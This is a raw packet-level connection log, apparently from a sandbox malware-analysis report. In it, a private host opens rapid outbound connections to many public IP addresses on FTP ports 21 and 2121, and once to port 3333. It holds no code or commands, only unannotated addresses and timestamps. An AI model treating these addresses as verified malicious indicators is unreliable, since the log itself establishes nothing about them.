Aug 23, 2023 09:16:52.549015999 CEST	52706	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.565282106 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.565308094 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.565323114 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.565433979 CEST	52700	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.565982103 CEST	52700	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.565984964 CEST	52711	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.578453064 CEST	2121	52706	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.579777002 CEST	2121	52706	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.580491066 CEST	52706	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.582434893 CEST	21	52700	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.582454920 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.582670927 CEST	52711	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.611574888 CEST	2121	52706	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.614372015 CEST	52706	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.619309902 CEST	21	52672	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:52.619328976 CEST	21	52672	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:52.619348049 CEST	21	52672	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:52.619410992 CEST	21	52689	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:52.619452000 CEST	52672	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:52.619493008 CEST	21	52689	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:52.619726896 CEST	52689	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:52.619726896 CEST	52689	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:52.620193005 CEST	52672	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:52.620872974 CEST	52712	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:52.621810913 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:52.621954918 CEST	52713	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:52.622430086 CEST	52619	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:52.632828951 CEST	52639	21	192.168.2.3	172.250.212.73
Aug 23, 2023 09:16:52.643604040 CEST	2121	52706	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.644656897 CEST	2121	52706	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.645350933 CEST	52706	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.645674944 CEST	52706	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.650192022 CEST	52714	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.665066004 CEST	52715	21	192.168.2.3	39.122.57.130
Aug 23, 2023 09:16:52.670202017 CEST	2121	52710	182.182.1.24	192.168.2.3
Aug 23, 2023 09:16:52.676486015 CEST	2121	52706	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.682256937 CEST	2121	52714	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.686299086 CEST	52714	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.757874966 CEST	52698	21	192.168.2.3	104.193.152.142
Aug 23, 2023 09:16:52.764561892 CEST	21	52709	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.764693975 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.774213076 CEST	52699	2121	192.168.2.3	104.193.152.142
Aug 23, 2023 09:16:52.775573015 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.778496981 CEST	52711	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.792794943 CEST	21	52689	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:52.792825937 CEST	21	52712	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:52.792964935 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:52.793230057 CEST	52712	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:52.795053959 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.795113087 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.795547962 CEST	52711	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.812707901 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.820343018 CEST	52526	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:16:52.838846922 CEST	21	52713	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:52.841829062 CEST	52713	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:52.852113962 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:52.852231026 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:52.852288961 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:52.852525949 CEST	52619	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:52.852525949 CEST	52619	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:52.854803085 CEST	52716	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:52.860677958 CEST	21	52672	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:52.878724098 CEST	2121	52714	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.879085064 CEST	52714	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.886271000 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.887584925 CEST	52711	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.903927088 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.903949022 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.903963089 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.904165030 CEST	21	52698	104.193.152.142	192.168.2.3
Aug 23, 2023 09:16:52.904190063 CEST	52711	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.904190063 CEST	52711	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.904875040 CEST	52717	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.910284996 CEST	2121	52714	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.911604881 CEST	2121	52714	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.912103891 CEST	52714	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.914750099 CEST	52718	2121	192.168.2.3	39.122.57.130
Aug 23, 2023 09:16:52.921629906 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:52.922377110 CEST	52717	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:52.925698042 CEST	2121	52699	104.193.152.142	192.168.2.3
Aug 23, 2023 09:16:52.931382895 CEST	52719	21	192.168.2.3	109.94.210.101
Aug 23, 2023 09:16:52.946274042 CEST	2121	52714	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.947215080 CEST	52714	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.952744007 CEST	21	52715	39.122.57.130	192.168.2.3
Aug 23, 2023 09:16:52.976941109 CEST	21	52719	109.94.210.101	192.168.2.3
Aug 23, 2023 09:16:52.977889061 CEST	2121	52714	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.978208065 CEST	52714	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.978313923 CEST	2121	52714	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:52.978799105 CEST	52714	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.980756044 CEST	52720	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:52.991431952 CEST	21	52709	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:52.992404938 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:53.010416031 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.010438919 CEST	2121	52714	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.012974977 CEST	52677	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:53.014556885 CEST	2121	52720	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.018330097 CEST	52720	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.030105114 CEST	21	52712	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.030596018 CEST	52712	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:53.060282946 CEST	21	52713	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:53.060884953 CEST	52713	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:53.064973116 CEST	21	52716	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:53.065130949 CEST	52716	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:53.080657005 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:53.101811886 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:53.115552902 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.117974997 CEST	52717	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.134721994 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.134748936 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.135196924 CEST	52717	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.153728008 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.179717064 CEST	52646	21	192.168.2.3	86.14.116.7
Aug 23, 2023 09:16:53.180315971 CEST	52710	2121	192.168.2.3	182.182.1.24
Aug 23, 2023 09:16:53.196628094 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.196654081 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.196671009 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.196784973 CEST	52677	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:53.197282076 CEST	52677	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:53.197652102 CEST	52721	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:53.204015970 CEST	21	52712	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.205579042 CEST	21	52712	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.205832958 CEST	52712	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:53.210694075 CEST	2121	52720	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.211143017 CEST	52720	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.212209940 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.212507963 CEST	52717	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.227080107 CEST	2121	52718	39.122.57.130	192.168.2.3
Aug 23, 2023 09:16:53.231101036 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.231169939 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.231189013 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.231343985 CEST	52717	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.231479883 CEST	52717	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.232170105 CEST	52722	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.242218971 CEST	52645	2121	192.168.2.3	172.250.212.73
Aug 23, 2023 09:16:53.242238998 CEST	52711	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.243201971 CEST	2121	52720	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.246279001 CEST	2121	52720	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.246753931 CEST	52720	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.247849941 CEST	21	52717	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.249594927 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.249675035 CEST	52722	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.257859945 CEST	52647	2121	192.168.2.3	86.14.116.7
Aug 23, 2023 09:16:53.262281895 CEST	21	52711	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.274317026 CEST	21	52713	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:53.277565956 CEST	21	52716	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:53.277940035 CEST	52716	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:53.281676054 CEST	2121	52720	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.281984091 CEST	52720	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.315992117 CEST	2121	52720	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.316018105 CEST	2121	52720	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.316061020 CEST	52720	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.316303968 CEST	52720	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.317173004 CEST	52723	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.320344925 CEST	52654	2121	192.168.2.3	71.245.162.83
Aug 23, 2023 09:16:53.320410013 CEST	52653	21	192.168.2.3	71.245.162.83
Aug 23, 2023 09:16:53.335973024 CEST	52659	21	192.168.2.3	151.228.71.98
Aug 23, 2023 09:16:53.346266985 CEST	2121	52710	182.182.1.24	192.168.2.3
Aug 23, 2023 09:16:53.350208044 CEST	2121	52720	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.350236893 CEST	2121	52723	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.350322962 CEST	52723	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.368217945 CEST	52724	2121	192.168.2.3	109.94.210.101
Aug 23, 2023 09:16:53.380285025 CEST	21	52712	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.380630016 CEST	52712	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:53.384520054 CEST	52725	21	192.168.2.3	109.23.177.112
Aug 23, 2023 09:16:53.386112928 CEST	52726	2121	192.168.2.3	109.23.177.112
Aug 23, 2023 09:16:53.394279957 CEST	21	52677	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.402261019 CEST	21	52721	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.402391911 CEST	52721	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:53.414134026 CEST	52698	21	192.168.2.3	104.193.152.142
Aug 23, 2023 09:16:53.418272972 CEST	2121	52724	109.94.210.101	192.168.2.3
Aug 23, 2023 09:16:53.419275999 CEST	52727	21	192.168.2.3	201.137.52.8
Aug 23, 2023 09:16:53.429761887 CEST	52699	2121	192.168.2.3	104.193.152.142
Aug 23, 2023 09:16:53.445382118 CEST	52648	21	192.168.2.3	110.12.60.28
Aug 23, 2023 09:16:53.445400000 CEST	52651	2121	192.168.2.3	93.194.112.4
Aug 23, 2023 09:16:53.445404053 CEST	52650	21	192.168.2.3	93.194.112.4
Aug 23, 2023 09:16:53.445502043 CEST	52657	21	192.168.2.3	187.126.66.8
Aug 23, 2023 09:16:53.445503950 CEST	52658	2121	192.168.2.3	187.126.66.8
Aug 23, 2023 09:16:53.445506096 CEST	52649	2121	192.168.2.3	110.12.60.28
Aug 23, 2023 09:16:53.446433067 CEST	52728	2121	192.168.2.3	201.137.52.8
Aug 23, 2023 09:16:53.458275080 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.459307909 CEST	52722	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.462320089 CEST	21	52709	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:53.462404966 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:53.478298903 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.478337049 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.490328074 CEST	21	52716	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:53.490364075 CEST	21	52716	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:53.523574114 CEST	52661	2121	192.168.2.3	151.228.71.98
Aug 23, 2023 09:16:53.523616076 CEST	52663	2121	192.168.2.3	188.83.47.52
Aug 23, 2023 09:16:53.523622990 CEST	52662	21	192.168.2.3	188.83.47.52
Aug 23, 2023 09:16:53.550190926 CEST	52722	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.550272942 CEST	52716	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:53.550379038 CEST	52729	21	192.168.2.3	86.84.6.250
Aug 23, 2023 09:16:53.552356958 CEST	52730	2121	192.168.2.3	86.84.6.250
Aug 23, 2023 09:16:53.552732944 CEST	21	52712	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.552772999 CEST	21	52712	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.552809954 CEST	2121	52723	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.552870035 CEST	52712	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:53.552939892 CEST	52712	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:53.553354979 CEST	52723	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.554042101 CEST	52731	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:53.563631058 CEST	21	52698	104.193.152.142	192.168.2.3
Aug 23, 2023 09:16:53.565604925 CEST	52732	21	192.168.2.3	130.242.3.235
Aug 23, 2023 09:16:53.567600012 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.580351114 CEST	2121	52699	104.193.152.142	192.168.2.3
Aug 23, 2023 09:16:53.586054087 CEST	52666	21	192.168.2.3	27.114.172.133
Aug 23, 2023 09:16:53.586328983 CEST	2121	52723	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.587246895 CEST	52733	2121	192.168.2.3	130.242.3.235
Aug 23, 2023 09:16:53.588701010 CEST	2121	52723	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.589663982 CEST	52723	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.625200987 CEST	2121	52723	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.625535965 CEST	52723	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.628175020 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.628583908 CEST	52722	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.632853031 CEST	52667	2121	192.168.2.3	27.114.172.133
Aug 23, 2023 09:16:53.632867098 CEST	52664	21	192.168.2.3	84.123.65.234
Aug 23, 2023 09:16:53.632878065 CEST	52668	21	192.168.2.3	27.236.91.137
Aug 23, 2023 09:16:53.632895947 CEST	52715	21	192.168.2.3	39.122.57.130
Aug 23, 2023 09:16:53.632900000 CEST	52719	21	192.168.2.3	109.94.210.101
Aug 23, 2023 09:16:53.632909060 CEST	52665	2121	192.168.2.3	84.123.65.234
Aug 23, 2023 09:16:53.636851072 CEST	21	52721	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.637130976 CEST	52721	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:53.644987106 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.645054102 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.645087957 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.645129919 CEST	52722	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.645291090 CEST	52722	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.645956993 CEST	52734	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.657910109 CEST	2121	52723	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.658107042 CEST	52723	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.658269882 CEST	2121	52723	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.658333063 CEST	52723	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.659339905 CEST	52735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.661638975 CEST	21	52722	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.662231922 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.662305117 CEST	52734	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.678540945 CEST	21	52719	109.94.210.101	192.168.2.3
Aug 23, 2023 09:16:53.681338072 CEST	52736	21	192.168.2.3	139.0.165.108
Aug 23, 2023 09:16:53.681447029 CEST	52737	2121	192.168.2.3	139.0.165.108
Aug 23, 2023 09:16:53.681452036 CEST	52738	21	192.168.2.3	93.219.141.51
Aug 23, 2023 09:16:53.690114021 CEST	2121	52723	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.691756010 CEST	2121	52735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.691848040 CEST	52735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.710990906 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:53.712842941 CEST	52739	2121	192.168.2.3	93.219.141.51
Aug 23, 2023 09:16:53.712912083 CEST	52740	21	192.168.2.3	104.229.89.108
Aug 23, 2023 09:16:53.725352049 CEST	21	52712	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.725423098 CEST	21	52731	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.725497007 CEST	52731	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:53.730616093 CEST	52718	2121	192.168.2.3	39.122.57.130
Aug 23, 2023 09:16:53.742244959 CEST	52669	2121	192.168.2.3	27.236.91.137
Aug 23, 2023 09:16:53.742248058 CEST	52670	21	192.168.2.3	38.152.52.22
Aug 23, 2023 09:16:53.762305975 CEST	21	52716	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:53.762737989 CEST	52716	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:53.831564903 CEST	21	52721	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.831598043 CEST	21	52721	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:53.832012892 CEST	52721	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:53.851658106 CEST	52710	2121	192.168.2.3	182.182.1.24
Aug 23, 2023 09:16:53.857713938 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.858041048 CEST	52734	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.878334045 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.878376007 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.878642082 CEST	52734	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.894953966 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.894989014 CEST	2121	52735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.895294905 CEST	52735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.910336971 CEST	21	52731	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:53.910613060 CEST	52731	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:53.921489954 CEST	21	52715	39.122.57.130	192.168.2.3
Aug 23, 2023 09:16:53.929739952 CEST	52724	2121	192.168.2.3	109.94.210.101
Aug 23, 2023 09:16:53.930341005 CEST	2121	52735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.930377960 CEST	2121	52735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.930712938 CEST	52735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.956820011 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.957148075 CEST	52734	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.970351934 CEST	2121	52735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:53.970696926 CEST	52735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:53.974354029 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.974455118 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.974503040 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.974559069 CEST	52734	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.974678040 CEST	52734	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.975404024 CEST	52741	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:53.975569010 CEST	21	52716	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:53.975652933 CEST	21	52716	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:53.975733995 CEST	52716	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:53.975991964 CEST	52716	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:53.976164103 CEST	2121	52724	109.94.210.101	192.168.2.3
Aug 23, 2023 09:16:53.976540089 CEST	52742	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:53.991511106 CEST	21	52734	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.992726088 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:53.992794037 CEST	52741	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.005827904 CEST	2121	52735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.005861044 CEST	2121	52735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.005907059 CEST	52735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.005992889 CEST	52735	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.007168055 CEST	52743	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.020426035 CEST	2121	52710	182.182.1.24	192.168.2.3
Aug 23, 2023 09:16:54.021752119 CEST	52744	2121	192.168.2.3	104.229.89.108
Aug 23, 2023 09:16:54.039542913 CEST	2121	52735	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.039565086 CEST	2121	52743	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.039622068 CEST	52743	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.043518066 CEST	2121	52718	39.122.57.130	192.168.2.3
Aug 23, 2023 09:16:54.055546045 CEST	21	52721	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:54.081753016 CEST	21	52731	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:54.083550930 CEST	21	52731	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:54.083882093 CEST	52731	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:54.118690968 CEST	52745	21	192.168.2.3	190.188.122.225
Aug 23, 2023 09:16:54.134949923 CEST	52746	2121	192.168.2.3	190.188.122.225
Aug 23, 2023 09:16:54.149480104 CEST	52747	21	192.168.2.3	103.29.70.92
Aug 23, 2023 09:16:54.149483919 CEST	52748	2121	192.168.2.3	103.29.70.92
Aug 23, 2023 09:16:54.186311960 CEST	21	52716	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:54.190301895 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.192029953 CEST	52741	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.206305027 CEST	21	52742	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:54.209116936 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.209147930 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.209191084 CEST	52742	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:54.209506989 CEST	52741	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.226321936 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.227561951 CEST	52749	21	192.168.2.3	99.236.219.153
Aug 23, 2023 09:16:54.237288952 CEST	2121	52743	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.237545013 CEST	52743	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.242353916 CEST	52719	21	192.168.2.3	109.94.210.101
Aug 23, 2023 09:16:54.243489027 CEST	52750	2121	192.168.2.3	99.236.219.153
Aug 23, 2023 09:16:54.243494987 CEST	52751	21	192.168.2.3	179.54.141.232
Aug 23, 2023 09:16:54.244287968 CEST	52752	2121	192.168.2.3	179.54.141.232
Aug 23, 2023 09:16:54.256556988 CEST	21	52731	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:54.258729935 CEST	52753	21	192.168.2.3	93.199.253.181
